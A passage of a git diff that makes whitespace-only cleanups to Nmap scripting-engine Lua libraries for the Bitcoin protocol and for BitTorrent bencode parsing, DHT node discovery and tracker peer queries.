-- NODE_NETWORK = 1 local services = 1 local timestamp = os.time() @@ -132,20 +132,20 @@ Request = { -- Checksum is first 4 bytes of sha256(sha256(payload)) local checksum = openssl.digest("sha256", payload) checksum = openssl.digest("sha256", checksum) - + -- Construct the header without checksum - local header = bin.pack("IA12II", data) return header end, }, - - + + Alert = { - + type = "Alert", -- Creates a new instance of Version based on data string -- @param data string containing the raw response -- @return o instance of Version new = function(self, data) - local o = { + local o = { data = data, } setmetatable(o, self) @@ -240,24 +240,24 @@ Response = { parse = function(self) local pos = Response.Header.size + 1 self.header = Response.Header.parse(self.data) - + local p_length pos, p_length = Util.decodeVarInt(self.data, pos) local data pos, data = bin.unpack("A" .. p_length, self.data, pos) - + -- -- TODO: Alert decoding goes here -- - + return - end, + end, }, - - + + -- The version response message Version = { - + -- Creates a new instance of Version based on data string -- @param data string containing the raw response -- @return o instance of Version @@ -268,7 +268,7 @@ Response = { o:parse() return o end, - + -- Parses the raw data and builds the Version instance parse = function(self) local pos, ra, sa @@ -277,7 +277,7 @@ Response = { pos, self.magic, self.cmd, self.len, self.checksum, self.ver_raw, self.service, self.timestamp, ra, sa, self.nodeid, self.subver, self.lastblock = bin.unpack(" 31402 ) then @@ -345,13 +345,13 @@ Response = { table.insert(self.addresses, { ts = timestamp, address = na }) end end - - end, + + end, }, - + -- The inventory server packet Inv = { - + -- Creates a new instance of VerAck based on data string -- @param data string containing the raw response -- @return o instance of Addr @@ -362,14 +362,14 @@ Response = { o:parse() return o end, - + -- Parses the raw data and builds the Addr instance parse = function(self) local pos, count pos, self.magic, self.cmd, self.len = bin.unpack("timeout - the socket timeout in ms -- @return instance of BCSocket new = function(self, host, port, options) - local o = { + local o = { host = host, port = port, timeout = "table" == type(options) and options.timeout or 10000 @@ -465,7 +465,7 @@ BCSocket = o.Buffer = nil return o end, - + --- Establishes a connection. -- -- @return Status (true or false). @@ -474,7 +474,7 @@ BCSocket = self.Socket:set_timeout( self.timeout ) return self.Socket:connect( self.host, self.port ) end, - + --- Closes an open connection. -- -- @return Status (true or false). @@ -482,7 +482,7 @@ BCSocket = close = function( self ) return self.Socket:close() end, - + --- Opposed to the socket:receive_bytes function, that returns -- at least x bytes, this function returns the amount of bytes requested. -- @@ -492,9 +492,9 @@ BCSocket = -- err containing error message if status is false recv = function( self, count ) local status, data - + self.Buffer = self.Buffer or "" - + if ( #self.Buffer < count ) then status, data = self.Socket:receive_bytes( count - #self.Buffer ) if ( not(status) or #data < count - #self.Buffer ) then @@ -502,13 +502,13 @@ BCSocket = end self.Buffer = self.Buffer .. data end - + data = self.Buffer:sub( 1, count ) self.Buffer = self.Buffer:sub( count + 1) - - return true, data + + return true, data end, - + --- Sends data over the socket -- -- @return Status (true or false). @@ -520,15 +520,15 @@ BCSocket = -- The Helper class used as a primary interface to scripts Helper = { - - -- Creates a new Helper instance + + -- Creates a new Helper instance -- @param host table as received by the action method -- @param port table as received by the action method -- @param options table containing additional options -- timeout - the socket timeout in ms -- @return instance of Helper new = function(self, host, port, options) - local o = { + local o = { host = host, port = port, options = options @@ -544,7 +544,7 @@ Helper = { connect = function(self) self.socket = BCSocket:new(self.host, self.port, self.options) local status, err = self.socket:connect() - + if ( not(status) ) then return false, err end @@ -560,63 +560,63 @@ Helper = { if ( not(self.socket) ) then return false end - + local req = Request.Version:new( self.host, self.port, self.lhost, self.lport ) - - local status, err = self.socket:send(tostring(req)) - if ( not(status) ) then - return false, "Failed to send \"Version\" request to server" - end - - local version - status, version = Response.recvPacket(self.socket) - - if ( not(status) or not(version) or version.cmd ~= "version\0\0\0\0\0" ) then - return false, "Failed to read \"Version\" response from server" - end - - if ( version.ver_raw > 29000 ) then - local status, verack = Response.recvPacket(self.socket) - end - - local verack = Request.VerAck:new() - local status, err = self.socket:send(tostring(verack)) - if ( not(status) ) then - return false, "Failed to send \"Version\" request to server" - end - - self.version = version.ver_raw - return status, version - end, - - getNodes = function(self) - local req = Request.GetAddr:new( - self.host, self.port, self.lhost, self.lport - ) local status, err = self.socket:send(tostring(req)) if ( not(status) ) then return false, "Failed to send \"Version\" request to server" end - + + local version + status, version = Response.recvPacket(self.socket) + + if ( not(status) or not(version) or version.cmd ~= "version\0\0\0\0\0" ) then + return false, "Failed to read \"Version\" response from server" + end + + if ( version.ver_raw > 29000 ) then + local status, verack = Response.recvPacket(self.socket) + end + + local verack = Request.VerAck:new() + local status, err = self.socket:send(tostring(verack)) + if ( not(status) ) then + return false, "Failed to send \"Version\" request to server" + end + + self.version = version.ver_raw + return status, version + end, + + getNodes = function(self) + local req = Request.GetAddr:new( + self.host, self.port, self.lhost, self.lport + ) + + local status, err = self.socket:send(tostring(req)) + if ( not(status) ) then + return false, "Failed to send \"Version\" request to server" + end + -- take care of any alerts that may be incoming local status, response = Response.recvPacket(self.socket, self.version) while ( status and response and response.type == "Alert" ) do status, response = Response.recvPacket(self.socket, self.version) end - + return status, response end, - + -- Reads a message from the server -- @return status true on success, false on failure -- @return response instance of response packet if status is true -- err string containing the error message if status is false readMessage = function(self) assert(self.version, "Version handshake has not been performed") - return Response.recvPacket(self.socket, self.version) + return Response.recvPacket(self.socket, self.version) end, -- Closes the connection to the server @@ -624,7 +624,7 @@ Helper = { -- @return err code, if status is false close = function(self) return self.socket:close() - end + end } return _ENV; diff --git a/nselib/bittorrent.lua b/nselib/bittorrent.lua index a10be34a9..3450d4215 100644 --- a/nselib/bittorrent.lua +++ b/nselib/bittorrent.lua @@ -1,4 +1,4 @@ ---- Bittorrent and DHT protocol library which enables users to read +--- Bittorrent and DHT protocol library which enables users to read -- information from a torrent file, decode bencoded (bittorrent -- encoded) buffers, find peers associated with a certain torrent and -- retrieve nodes discovered during the search for peers. @@ -79,7 +79,7 @@ -- the peers_dht_ping to be processed by the dht_ping thread and so on. -- That enables the three threads to cooperate and pass on peers and -- nodes between each other. --- +-- -- There is also a bdecode function which decodes Bittorrent encoded -- buffers and organizes them into a structure I deemed fit for use. -- There are two known bittorrent structures: the list and the @@ -104,7 +104,7 @@ local url = require "url" _ENV = stdnse.module("bittorrent", stdnse.seeall) --- Given a buffer and a starting position in the buffer, this function decodes --- a bencoded string there and returns it as a normal lua string, as well as +-- a bencoded string there and returns it as a normal lua string, as well as -- the position after the string local bdec_string = function(buf, pos) local len = "" @@ -126,16 +126,16 @@ local bdec_string = function(buf, pos) end --- Given a buffer and a starting position in the buffer, this function decodes --- a bencoded number there and returns it as a normal lua number, as well as +-- a bencoded number there and returns it as a normal lua number, as well as -- the position after the number local bdec_number = function(buf, pos) local s, n = string.match(buf, "^i(%-*)(%d+)e", pos) if not n then return nil end - + local num = tonumber(n) -- 1 for the "i", 1 for the "e", 1 if there is a "-" plus the length of n pos = pos + 2 + #n - + if s == "-" then num = -num pos = pos + 1 @@ -144,7 +144,7 @@ local bdec_number = function(buf, pos) return num, pos end ---- Parses a bencoded buffer +--- Parses a bencoded buffer -- @param buf, string with the bencoded buffer -- @return bool indicating if parsing went ok -- @return table containing the decoded structure, or error string @@ -154,7 +154,7 @@ bdecode = function(buf) -- the main table local t = {} local stack = {} - + local pos = 1 local cur = {} cur.type = "list" @@ -175,7 +175,7 @@ bdecode = function(buf) -- next element is a number elseif "i" == string.char(buf:byte(pos)) then - local num + local num num, pos = bdec_number(buf, pos) if not num then return nil, "Error parsing number", pos end table.insert(cur.ref, num) @@ -185,7 +185,7 @@ bdecode = function(buf) local new_list = {} new_list.type="list" table.insert(cur.ref, new_list) - + cur = {} cur.type = "list" cur.ref = new_list @@ -193,17 +193,17 @@ bdecode = function(buf) pos = pos+1 --next element is a dict - elseif "d" == string.char(buf:byte(pos)) then + elseif "d" == string.char(buf:byte(pos)) then local new_dict = {} new_dict.type = "dict" table.insert(cur.ref, new_dict) - + cur = {} cur.type = "dict" cur.ref = new_dict table.insert(stack, cur) pos = pos+1 - + --escape from the list elseif "e" == string.char(buf:byte(pos)) then table.remove(stack, #stack) @@ -213,16 +213,16 @@ bdecode = function(buf) else return nil, "Unknown type found.", pos end - + elseif cur.type == "dict" then local item = {} -- {key = , value = <.*>} -- used to skip reading the value when escaping from a structure local escape_flag = false - + -- fill the key if tonumber( string.char( buf:byte(pos) ) ) then local str - local tmp_pos = pos + local tmp_pos = pos str, pos = bdec_string(buf, pos) if not str then return nil, "Error parsing string.", pos end item.key = str @@ -231,13 +231,13 @@ bdecode = function(buf) cur = stack[#stack] if not cur then return nil, "Problem with list closure:", pos end pos = pos+1 - + escape_flag = true - + else return nil, "A dict key has to be a string or escape.", pos end - + if not escape_flag then -- value -- next element is a string @@ -250,7 +250,7 @@ bdecode = function(buf) --next element is a number elseif "i" == string.char(buf:byte(pos)) then - local num + local num num, pos = bdec_number(buf, pos) if not num then return nil, "Error parsing number.", pos end item.value = num @@ -261,7 +261,7 @@ bdecode = function(buf) item.value = {} item.value.type = "list" table.insert(cur.ref, item) - + cur = {} cur.type = "list" cur.ref = item.value @@ -296,8 +296,8 @@ bdecode = function(buf) return false, "Invalid type of structure. Fix the code." end end -- while(true) - - -- The code below is commented out because some responses from trackers are + + -- The code below is commented out because some responses from trackers are -- not according to standards -- next(stack) is never gonna be nil because we're always in the main list @@ -305,15 +305,15 @@ bdecode = function(buf) -- if next(stack, next(stack)) then -- return false, "Probably file incorrect format" -- end - + return true, t end ---- This is the thread function which sends a DHT ping probe to every peer in --- pnt.peers_dht_ping after which the peer is moved to the pnt.peers and +--- This is the thread function which sends a DHT ping probe to every peer in +-- pnt.peers_dht_ping after which the peer is moved to the pnt.peers and -- removed from pnt.peers_dht_ping. Every peer which responds to the DHT ping --- is actually a DHT node and is added to the pnt.nodes_find_node table in --- order to be processed byt the find_node_thread(). This operation is done +-- is actually a DHT node and is added to the pnt.nodes_find_node table in +-- order to be processed byt the find_node_thread(). This operation is done -- during the specified timeout which has a default value of about 30 seconds. local dht_ping_thread = function(pnt, timeout) local condvar = nmap.condvar(pnt) @@ -331,34 +331,34 @@ local dht_ping_thread = function(pnt, timeout) while next(pnt.peers_dht_ping) ~= nil and num_peers <= 100 and os.time() - start < timeout do num_peers = num_peers +1 local peer_ip, peer_info = next(pnt.peers_dht_ping) - + --transaction ids are 2 bytes long local t_ID_hex = stdnse.tohex(transaction_id % 0xffff) t_ID_hex = string.rep("0",4-#t_ID_hex)..t_ID_hex peer_info.transaction_id = bin.pack("H",t_ID_hex) - - -- mark it as received so we can distinguish from the others and + + -- mark it as received so we can distinguish from the others and -- successfully iterate while receiving peer_info.received = false pnt.peers[peer_ip] = peer_info pnt.peers_dht_ping[peer_ip] = nil - + -- bencoded ping query describing a dictionary with y = q (query), q = ping -- {"t":, "y":"q", "q":"ping", "a":{"id":}} local ping_query = "d1:ad2:id20:" .. pnt.node_id .. "e1:q4:ping1:t2:" .. peer_info.transaction_id .. "1:y1:qe" - + status, data = socket:sendto(peer_ip, peer_info.port, ping_query) transaction_id = transaction_id +1 - if transaction_id % 0xffff == 0 then + if transaction_id % 0xffff == 0 then transaction_id = 0 end end - + -- receive responses up to a 100 - for c = 1, 100 do + for c = 1, 100 do if os.time() - start >= timeout then break end status, data = socket:receive() if not status then break end @@ -381,19 +381,19 @@ local dht_ping_thread = function(pnt, timeout) trans_id = i.value end end - + if (not error_flag) and good_response and node_id and trans_id then local peer_ip for ip, info in pairs(pnt.peers) do if info.transaction_id == trans_id then - info.received = nil + info.received = nil peer_ip = ip break end end if peer_ip then - pnt.peers[peer_ip].node_id = node_id - if not (pnt.nodes_find_node[peer_ip] or pnt.nodes_get_peers[peer_ip] or + pnt.peers[peer_ip].node_id = node_id + if not (pnt.nodes_find_node[peer_ip] or pnt.nodes_get_peers[peer_ip] or pnt.nodes[peer_ip]) then pnt.nodes_find_node[peer_ip] = pnt.peers[peer_ip] end @@ -407,18 +407,18 @@ local dht_ping_thread = function(pnt, timeout) end ---- This thread sends a DHT find_node query to every node in +--- This thread sends a DHT find_node query to every node in -- pnt.nodes_find_node, after which every node is moved to pnt.nodes_get_peers --- to be processed by the get_peers_thread() function. The responses to these +-- to be processed by the get_peers_thread() function. The responses to these -- queries contain adresses of other DHT nodes (usually 8) which are added to --- the pnt.nodes_find_node list. This action is done for a timeout with a +-- the pnt.nodes_find_node list. This action is done for a timeout with a -- default value of 30 seconds. local find_node_thread = function(pnt, timeout) local condvar = nmap.condvar(pnt) local socket = nmap.new_socket("udp") socket:set_timeout(3000) local status, data - + local start = os.time() while true do if os.time() - start >= timeout then break end @@ -429,15 +429,15 @@ local find_node_thread = function(pnt, timeout) local node_ip, node_info = next(pnt.nodes_find_node) -- standard bittorrent protocol specified find_node query with y = q (query), - -- q = "find_node" (type of query), + -- q = "find_node" (type of query), -- find_node Query = {"t":, "y":"q", "q":"find_node", "a": {"id":, "target":}} - local find_node_query = "d1:ad2:id20:" .. pnt.node_id .. "6:target20:" .. + local find_node_query = "d1:ad2:id20:" .. pnt.node_id .. "6:target20:" .. pnt.info_hash .. "e1:q9:find_node1:t2:" .. openssl.rand_bytes(2) .. "1:y1:qe" - + -- add the traversed nodes to pnt.nodes_get_peers so they can be traversed by get_peers_thread pnt.nodes_get_peers[node_ip] = node_info pnt.nodes_find_node[node_ip] = nil - + status, data = socket:sendto(node_ip, node_info.port, find_node_query) end @@ -448,7 +448,7 @@ local find_node_thread = function(pnt, timeout) local s, r = bdecode(data) if s then - local nodes = nil + local nodes = nil if r[1] and r[1][1] and r[1][1].key == "r" and r[1][1].value then for _, el in ipairs(r[1][1].value) do if el.key == "nodes" then @@ -456,9 +456,9 @@ local find_node_thread = function(pnt, timeout) end end end - + --parse the nodes an add them to pnt.nodes_find_node - if nodes then + if nodes then for node_id, bin_node_ip, bin_node_port in nodes:gmatch("(....................)(....)(..)") do local node_ip = string.format("%d.%d.%d.%d", bin_node_ip:byte(1), bin_node_ip:byte(2), bin_node_ip:byte(3), bin_node_ip:byte(4)) @@ -466,25 +466,25 @@ local find_node_thread = function(pnt, timeout) local node_info = {} node_info.port = node_port node_info.node_id = node_id - - if not (pnt.nodes[node_ip] or pnt.nodes_get_peers[node_ip] + + if not (pnt.nodes[node_ip] or pnt.nodes_get_peers[node_ip] or pnt.nodes_find_node[node_ip]) then pnt.nodes_find_node[node_ip] = node_info end end end -- if nodes - end -- if s - end -- for c = 1, 100 + end -- if s + end -- for c = 1, 100 end -- while true socket:close() condvar("signal") end ---- This thread sends get_peers DHT queries to all the nodes in --- pnt.nodes_get_peers, after which they are moved to pnt.nodes. There are two --- kinds of responses to these kinds of queries. One response contains peers, --- which would be added to the pnt.peers_dht_ping list, and the other kind of +--- This thread sends get_peers DHT queries to all the nodes in +-- pnt.nodes_get_peers, after which they are moved to pnt.nodes. There are two +-- kinds of responses to these kinds of queries. One response contains peers, +-- which would be added to the pnt.peers_dht_ping list, and the other kind of -- response is sent when the queried node has no peers, and contains more nodes -- which are added to the pnt.nodes_find_node list. local get_peers_thread = function(pnt, timeout) @@ -503,11 +503,11 @@ local get_peers_thread = function(pnt, timeout) local node_ip, node_info = next(pnt.nodes_get_peers) -- standard bittorrent protocol specified get_peers query with y ="q" (query) - -- and q = "get_peers" (type of query) + -- and q = "get_peers" (type of query) -- {"t":, "y":"q", "q":"get_peers", "a": {"id":, "info_hash":}} - local get_peers_query = "d1:ad2:id20:" .. pnt.node_id .. "9:info_hash20:" .. + local get_peers_query = "d1:ad2:id20:" .. pnt.node_id .. "9:info_hash20:" .. pnt.info_hash .. "e1:q9:get_peers1:t2:" .. openssl.rand_bytes(2) .. "1:y1:qe" - + pnt.nodes[node_ip] = node_info pnt.nodes_get_peers[node_ip] = nil @@ -525,7 +525,7 @@ local get_peers_thread = function(pnt, timeout) local nodes = nil local peers = nil for _,el in ipairs(r[1]) do - if el.key == "y" and el.value == "r" then + if el.key == "y" and el.value == "r" then good_response = true elseif el.key == "r" then for _,i in ipairs(el.value) do @@ -538,39 +538,39 @@ local get_peers_thread = function(pnt, timeout) break end end - end + end end - - if not good_response then + + if not good_response then break end if nodes then - for node_id, bin_node_ip, bin_node_port in + for node_id, bin_node_ip, bin_node_port in nodes:gmatch("(....................)(....)(..)") do - + local node_ip = string.format("%d.%d.%d.%d", bin_node_ip:byte(1), bin_node_ip:byte(2), bin_node_ip:byte(3), bin_node_ip:byte(4)) local node_port = bit.lshift(bin_node_port:byte(1),8) + bin_node_port:byte(2) local node_info = {} node_info.port = node_port node_info.node_id = node_id - - if not (pnt.nodes[node_ip] or pnt.nodes_get_peers[node_ip] or + + if not (pnt.nodes[node_ip] or pnt.nodes_get_peers[node_ip] or pnt.nodes_find_node[node_ip]) then pnt.nodes_find_node[node_ip] = node_info end end - + elseif peers then for _, peer in ipairs(peers) do local bin_ip, bin_port = peer:match("(....)(..)") - local ip = string.format("%d.%d.%d.%d", bin_ip:byte(1), + local ip = string.format("%d.%d.%d.%d", bin_ip:byte(1), bin_ip:byte(2), bin_ip:byte(3), bin_ip:byte(4)) local port = bit.lshift(bin_port:byte(1),8)+bin_port:byte(2) - + if not (pnt.peers[ip] or pnt.peers_dht_ping[ip]) then pnt.peers_dht_ping[ip] = {} pnt.peers_dht_ping[ip].port = port @@ -587,36 +587,36 @@ end -Torrent = +Torrent = { new = function(self) local o ={} setmetatable(o, self) self.__index = self - - self.buffer = nil -- buffer to keep the torrent + + self.buffer = nil -- buffer to keep the torrent self.tor_struct = nil -- the decoded structure from the bencoded buffer - self.trackers = {} -- list of trackers {"tr1", "tr2", "tr3"...} + self.trackers = {} -- list of trackers {"tr1", "tr2", "tr3"...} self.port = 6881 -- port on which our peer "listens" / it doesn't actually listen self.size = nil -- size of the files in the torrent - + self.info_buf = nil --buffer for info_hash self.info_hash = nil --info_hash binary string self.info_hash_url = nil --info_hash escaped self.peers = {} -- peers = { [ip1] = {port1, id1}, [ip2] = {port2, id2}, ...} - self.nodes = {} -- nodes = { [ip1] = {port1, id1}, [ip2] = {port2, id2}, ...} + self.nodes = {} -- nodes = { [ip1] = {port1, id1}, [ip2] = {port2, id2}, ...} return o end, - + --- Loads trackers and similar information for a torrent from a magnet link. load_from_magnet = function(self, magnet) local info_hash_hex = magnet:match("^magnet:%?xt=urn:btih:(%w+)&") - if not info_hash_hex then + if not info_hash_hex then return false, "Erroneous magnet link" end - self.info_hash = bin.pack("H",info_hash_hex) + self.info_hash = bin.pack("H",info_hash_hex) local pos = #info_hash_hex + 21 local name = magnet:sub(pos,#magnet):match("^&dn=(.-)&") @@ -631,7 +631,7 @@ Torrent = self.size = 50 end, - --- Reads a torrent file, loads self.buffer and parses it using + --- Reads a torrent file, loads self.buffer and parses it using -- self:parse_buffer(), then self:calc_info_hash() -- -- @param filename, string containing filename of the torrent file @@ -641,13 +641,13 @@ Torrent = if not filename then return false, "No filename specified." end local file = io.open(filename, "r") - if not file then return false, "Cannot open file: "..filename end - + if not file then return false, "Cannot open file: "..filename end + self.buffer = file:read("*a") local status, err = self:parse_buffer() if not status then - return false, "Could not parse file: ".. err + return false, "Could not parse file: ".. err end status, err = self:calc_info_hash() @@ -659,7 +659,7 @@ Torrent = if not status then return false, "Could not load trackers: " .. err end - + status, err = self:calc_torrent_size() if not status then if not err then err = "" end @@ -669,20 +669,20 @@ Torrent = file:close() return true end, - + --- Gets peers available from the loaded trackers trackers_peers = function(self) for _, tracker in ipairs(self.trackers) do local status, err - + if tracker:match("^http://") then -- http tracker status, err = self:http_tracker_peers(tracker) - if not status then + if not status then stdnse.print_debug("Could not get peers from tracker %s, reason: %s",tracker, err) end elseif tracker:match("^udp://") then -- udp tracker status, err = self:udp_tracker_peers(tracker) - if not status then + if not status then stdnse.print_debug("Could not get peers from tracker %s, reason: %s",tracker, err) end else -- unknown tracker @@ -693,20 +693,20 @@ Torrent = return true end, - + --- Runs the three threads which do a DHT discovery of nodes and peers. - -- The default timeout for this discovery is 30 seconds but it can be - -- set through the timeout argument. + -- The default timeout for this discovery is 30 seconds but it can be + -- set through the timeout argument. dht_peers = function(self, timeout) stdnse.print_debug("bittorrent: Starting DHT peers discovery") - + if next(self.peers) == nil then stdnse.print_debug("bittorrent: No peers detected") return end if not timeout or type(timeout)~="number" then timeout = 30 end - + -- peer node table aka the condvar! local pnt = {} pnt.peers = {} @@ -733,10 +733,10 @@ Torrent = break end end - + self.peers = pnt.peers self.nodes = pnt.nodes - + -- Add some residue nodes and peers for peer_ip, peer_info in pairs(pnt.peers_dht_ping) do if not self.peers[peer_ip] then @@ -756,7 +756,7 @@ Torrent = end, --- Parses self.buffer, fills self.tor_struct, self.info_buf - -- This function is similar to the bdecode function but it has a few + -- This function is similar to the bdecode function but it has a few -- additions for calculating torrent file specific fields parse_buffer = function(self) local buf = self.buffer @@ -767,7 +767,7 @@ Torrent = local t = {} self.tor_struct = t local stack = {} - + local pos = 1 local cur = {} cur.type = "list" @@ -775,12 +775,12 @@ Torrent = table.insert(stack, cur) cur.ref.type="list" - -- starting and ending position of the info dict + -- starting and ending position of the info dict local info_pos_start, info_pos_end, info_buf_count = nil, nil, 0 while true do if pos == len or (len-pos)==-1 then break end - + if cur.type == "list" then -- next element is a string if tonumber( string.char( buf:byte(pos) ) ) then @@ -791,7 +791,7 @@ Torrent = -- next element is a number elseif "i" == string.char(buf:byte(pos)) then - local num + local num num, pos = bdec_number(buf, pos) if not num then return nil, "Error parsing number", pos end table.insert(cur.ref, num) @@ -801,11 +801,11 @@ Torrent = if info_pos_start and (not info_pos_end) then info_buf_count = info_buf_count +1 end - + local new_list = {} new_list.type="list" table.insert(cur.ref, new_list) - + cur = {} cur.type = "list" cur.ref = new_list @@ -813,7 +813,7 @@ Torrent = pos = pos+1 --next element is a dict - elseif "d" == string.char(buf:byte(pos)) then + elseif "d" == string.char(buf:byte(pos)) then if info_pos_start and (not info_pos_end) then info_buf_count = info_buf_count +1 end @@ -821,13 +821,13 @@ Torrent = local new_dict = {} new_dict.type = "dict" table.insert(cur.ref, new_dict) - + cur = {} cur.type = "dict" cur.ref = new_dict table.insert(stack, cur) pos = pos+1 - + --escape from the list elseif "e" == string.char(buf:byte(pos)) then if info_buf_count == 0 then @@ -844,13 +844,13 @@ Torrent = else return nil, "Unknown type found.", pos end - + elseif cur.type == "dict" then local item = {} -- {key = , value = <.*>} -- key if tonumber( string.char( buf:byte(pos) ) ) then local str - local tmp_pos = pos + local tmp_pos = pos str, pos = bdec_string(buf, pos) if not str then return nil, "Error parsing string.", pos end item.key = str @@ -869,11 +869,11 @@ Torrent = cur = stack[#stack] if not cur then return nil, "Problem with list closure:", pos end pos = pos+1 - + else return nil, "A dict key has to be a string or escape.", pos end - + -- value -- next element is a string if tonumber( string.char( buf:byte(pos) ) ) then @@ -885,7 +885,7 @@ Torrent = --next element is a number elseif "i" == string.char(buf:byte(pos)) then - local num + local num num, pos = bdec_number(buf, pos) if not num then return nil, "Error parsing number.", pos end item.value = num @@ -900,7 +900,7 @@ Torrent = item.value = {} item.value.type = "list" table.insert(cur.ref, item) - + cur = {} cur.type = "list" cur.ref = item.value @@ -945,16 +945,16 @@ Torrent = return false, "Invalid type of structure. Fix the code." end end -- while(true) - + -- next(stack) is never gonna be nil because we're always in the main list -- next(stack, next(stack)) should be nil if we're in the main list if next(stack, next(stack)) then return false, "Probably file incorrect format" end - + self.info_buf = buf:sub(info_pos_start, info_pos_end) - - return true + + return true end, --- Loads the list of trackers in self.trackers from self.tor_struct @@ -964,9 +964,9 @@ Torrent = self.trackers = trackers -- load the announce tracker - if tor and tor[1] and tor[1][1] and tor[1][1].key and + if tor and tor[1] and tor[1][1] and tor[1][1].key and tor[1][1].key == "announce" and tor[1][1].value then - + if tor[1][1].value.type and tor[1][1].value.type == "list" then for _, trac in ipairs(tor[1][1].value) do table.insert(trackers, trac) @@ -993,18 +993,18 @@ Torrent = return true end, - + --- Calculates the size of the torrent in bytes -- @param tor, decoded bencoded torrent file structure calc_torrent_size = function(self) - local tor = self.tor_struct + local tor = self.tor_struct local size = nil if tor[1].type ~= "dict" then return nil end for _, m in ipairs(tor[1]) do if m.key == "info" then if m.value.type ~= "dict" then return nil end for _, n in ipairs(m.value) do - if n.key == "files" then + if n.key == "files" then size = 0 for _, f in ipairs(n.value) do for _, k in ipairs(f) do @@ -1025,29 +1025,29 @@ Torrent = self.size=size if size == 0 then return false end end, - + --- Calculates the info hash using self.info_buf. The info_hash value -- is used in many communication transactions for identifying the file -- shared among the bittorrent peers calc_info_hash = function(self) - local info_hash = openssl.sha1(self.info_buf) + local info_hash = openssl.sha1(self.info_buf) self.info_hash_url = url.escape(info_hash) self.info_hash = info_hash self.info_buf = nil return true end, - + --- Generates a peer_id similar to the ones generated by Ktorrent version 4.1.1 generate_peer_id = function(self) -- let's fool trackers that we use ktorrent just in case they control - -- which client they give peers to + -- which client they give peers to local fingerprint = "-KT4110-" local chars = {} local peer_id = fingerprint -- the full length of a peer_id is 20 bytes but we already have 8 from the fingerprint for i = 1,12 do local n = math.random(1,3) - + if n == 1 then peer_id = peer_id .. string.char( math.random( string.byte("a") , string.byte("z") ) ) elseif n==2 then @@ -1056,7 +1056,7 @@ Torrent = peer_id = peer_id .. string.char( math.random( string.byte("0") , string.byte("9") ) ) end end - + return peer_id end, @@ -1068,20 +1068,20 @@ Torrent = url, url_ext = tracker:match("^http://(.-)(/.*)") trac_port = "80" end - + trac_port = tonumber(trac_port) -- a http torrent tracker request specifying the info_hash of the torrent, our random -- generated peer_id (with some mods), notifying the tracker that we are just starting -- to download the torrent, with 0 downloaded and 0 uploaded bytes, an as many bytes -- left to download as the size of the torrent, requesting 200 peers in a compact format -- because some trackers refuse connection if they are not explicitly requested that way - local request = "?info_hash=" .. self.info_hash_url .. "&peer_id=" .. self:generate_peer_id() .. + local request = "?info_hash=" .. self.info_hash_url .. "&peer_id=" .. self:generate_peer_id() .. "&port=" .. self.port .. "&uploaded=0&downloaded=0&left=" .. self.size .. "&event=started&numwant=200&compact=1" - + local response = http.get(url, trac_port, url_ext .. request, nil) - - if not response then + + if not response then return false, "No response from tracker: " .. tracker end @@ -1090,12 +1090,12 @@ Torrent = if not status then return false, "Could not parse response:"..t end - + if not t[1] then return nil, "No response from server." end - - for _, k in ipairs(t[1]) do + + for _, k in ipairs(t[1]) do if k.key == "peers" and type(k.value) == "string" then -- binary peers for bin_ip, bin_port in string.gmatch(k.value, "(....)(..)") do @@ -1105,7 +1105,7 @@ Torrent = local peer = {} peer.ip = ip peer.port = port - + if not self.peers[peer.ip] then self.peers[peer.ip] = {} self.peers[peer.ip].port = peer.port @@ -1144,18 +1144,18 @@ Torrent = --- Gets the peers from udp trackers when supplied the URL of the tracker -- First we establish a connection to the udp server and then we can request peers - -- for a good specification refer to: + -- for a good specification refer to: -- http://www.rasterbar.com/products/libtorrent/udp_tracker_protocol.html udp_tracker_peers = function(self, tracker) local host, port = tracker:match("^udp://(.-):(.+)") if (not host) or (not port) then return false, "Could not parse tracker url" end - + local socket = nmap.new_socket("udp") - + -- The initial connection parameters' variables have hello_ prefixed names - local hello_transaction_id = openssl.rand_bytes(4) + local hello_transaction_id = openssl.rand_bytes(4) local hello_action = "00 00 00 00" -- 0 for a connection request local hello_connection_id = "00 00 04 17 27 10 19 80" -- identification of the protocol local hello_packet = bin.pack("HHA", hello_connection_id, hello_action, hello_transaction_id) @@ -1166,36 +1166,36 @@ Torrent = if not status then return false, "Could not connect to tracker:"..tracker.." reason:"..msg end local _, r_action, r_transaction_id, r_connection_id =bin.unpack("H4A4A8",msg) - + if not (r_transaction_id == hello_transaction_id) then return false, "Received transaction ID not equivalent to sent transaction ID" end - + -- the action in the response has to be 0 too - if not r_action == "00000000" then + if not r_action == "00000000" then return false, "Wrong action field, usualy caused by an erroneous request" end - -- established a connection, and now for an announce message, to which a + -- established a connection, and now for an announce message, to which a -- response holds the peers -- the announce connection parameters' variables are prefixed with a_ local a_action = "00 00 00 01" -- 1 for announce - local a_transaction_id = openssl.rand_bytes(4) + local a_transaction_id = openssl.rand_bytes(4) local a_info_hash = self.info_hash -- info_hash of the torrent - local a_peer_id = self:generate_peer_id() + local a_peer_id = self:generate_peer_id() local a_downloaded = "00 00 00 00 00 00 00 00" -- 0 bytes downloaded - + local a_left = stdnse.tohex(self.size) -- bytes left to download is the size of torrent a_left = string.rep("0", 16-#a_left) .. a_left local a_uploaded = "00 00 00 00 00 00 00 00" -- 0 bytes uploaded local a_event = "00 00 00 02" -- value of 2 for started torrent - local a_ip = "00 00 00 00" -- not necessary to specify our ip since it's resolved + local a_ip = "00 00 00 00" -- not necessary to specify our ip since it's resolved -- by tracker automatically local a_key = openssl.rand_bytes(4) local a_num_want = "FF FF FF FF" -- request for many many peers - local a_port = "1A E1" -- 6881 the port "we are listening on" + local a_port = "1A E1" -- 6881 the port "we are listening on" local a_extensions = "00 00" -- client recognizes no extensions of the bittorrent proto local announce_packet = bin.pack("AHAAAHHHHHAHHH", r_connection_id, a_action, a_transaction_id, a_info_hash, a_peer_id, a_downloaded, a_left, a_uploaded, a_event, a_ip, a_key, @@ -1211,7 +1211,7 @@ Torrent = return false, "Didn't receive response to announce message, reason: "..msg end local pos, p_action, p_transaction_id, p_interval, p_leechers, p_seeders = bin.unpack("H4A4H4H4H4",msg) - + -- the action field in the response has to be 1 (like the sent response) if not (p_action == "00000001") then return false, "Action in response to announce erroneous" @@ -1219,9 +1219,9 @@ Torrent = if not (p_transaction_id == a_transaction_id) then return false, "Transaction ID in response to announce message not equal to original" end - + -- parse peers from msg:sub(pos, #msg) - + for bin_ip, bin_port in msg:sub(pos,#msg):gmatch("(....)(..)") do local ip = string.format("%d.%d.%d.%d", bin_ip:byte(1), bin_ip:byte(2), bin_ip:byte(3), bin_ip:byte(4)) diff --git a/nselib/bjnp.lua b/nselib/bjnp.lua index 517554e44..5f5b43a5e 100644 --- a/nselib/bjnp.lua +++ 